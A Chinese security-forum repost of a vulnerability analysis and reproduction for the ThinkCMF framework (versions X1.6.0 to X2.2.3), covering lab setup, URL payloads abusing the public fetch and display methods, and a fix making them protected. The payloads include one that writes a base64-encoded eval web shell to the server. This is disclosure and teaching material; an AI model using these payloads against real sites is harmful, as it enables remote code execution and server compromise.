返回列表 发新帖

[文摘] ThinkCMF框架任意内容包含漏洞分析复现

[复制链接]
灌水成绩
806
主题
826
帖子
5313
积分
等级头衔
积分成就
  • 威望: 0
  • 贡献: 4487
  • 金钱: 0
  • 违规:
  • 在线时间:280 小时
  • 注册时间:2019-3-9
  • 最后登录:2019-11-15
个人勋章

官方

联系方式
QQ
发表在  2019-10-26 21:32:36 | 显示全部楼层 | 阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?注册

x
0x00 简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。
ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x01 漏洞概述

攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

0x03 环境搭建

本次使用的环境版本是2.2.3,直接放到phpstudy的目录下,访问路径/ThinkCMFX/发现ThinkCMF很人性化的加载了安装向导,因此按照它的步骤一步一步来即可(2.2.3版本安装包获取方式:公众号内回复“ThinkCMF环境”)
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑272分析,复现,漏洞,包含,任意,
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑8571分析,复现,漏洞,包含,任意,
填写好数据库密码以及管理员信息(phpstudy的数据库默认密码为root)
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑9194分析,复现,漏洞,包含,任意,
继续下一步,环境搭建成功如图所示
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑5501分析,复现,漏洞,包含,任意,
第一种
通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件
phpinfo版payload如下:
[size=0.9em]ActionScript

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?phpphpinfo();?>')</php>
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑6222分析,复现,漏洞,包含,任意,
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑6703分析,复现,漏洞,包含,任意,


[size=0.9em]ActionScript

?a=display&templateFile=README.md
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑8774分析,复现,漏洞,包含,任意,
0x05 漏洞分析

首先打开index.php文件,看一下程序的项目路径,如下显示项目路径在application目录下

ThinkCMF框架任意内容包含漏洞分析复现11862468老黑145分析,复现,漏洞,包含,任意,
在项目路径下找到入口分组的控制器类选择IndexController 控制器类打开
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑8277分析,复现,漏洞,包含,任意,
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑6138分析,复现,漏洞,包含,任意,
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑2980分析,复现,漏洞,包含,任意,
index.php?a=display&templateFile=README.md
fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑3295分析,复现,漏洞,包含,任意,
index.php?a=fetch&content=<?php+file_put_contents("s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4=");
0x06 修复方式

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected
参考链接:
https://www.freebuf.com/vuls/217586.html
ThinkCMF框架任意内容包含漏洞分析复现11862468老黑4624分析,复现,漏洞,包含,任意,
文由Timeline Sec

温馨提示:
1、在论坛里发表的文章仅代表作者本人的观点,与本网站立场无关。
2、论坛的所有内容都不保证其准确性,有效性,时间性。阅读本站内容因误导等因素而造成的损失本站不承担连带责任。
3、当政府机关依照法定程序要求披露信息时,论坛均得免责。
4、若因线路及非本站所能控制范围的故障导致暂停服务期间造成的一切不便与损失,论坛不负任何责任。
5、注册会员通过任何手段和方法针对论坛进行破坏,我们有权对其行为作出处理。并保留进一步追究其责任的权利。
6.添加QQ群随时获取新消息QQ群号:831240632

帖子地址: 

回复

使用道具 举报

发表回复

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表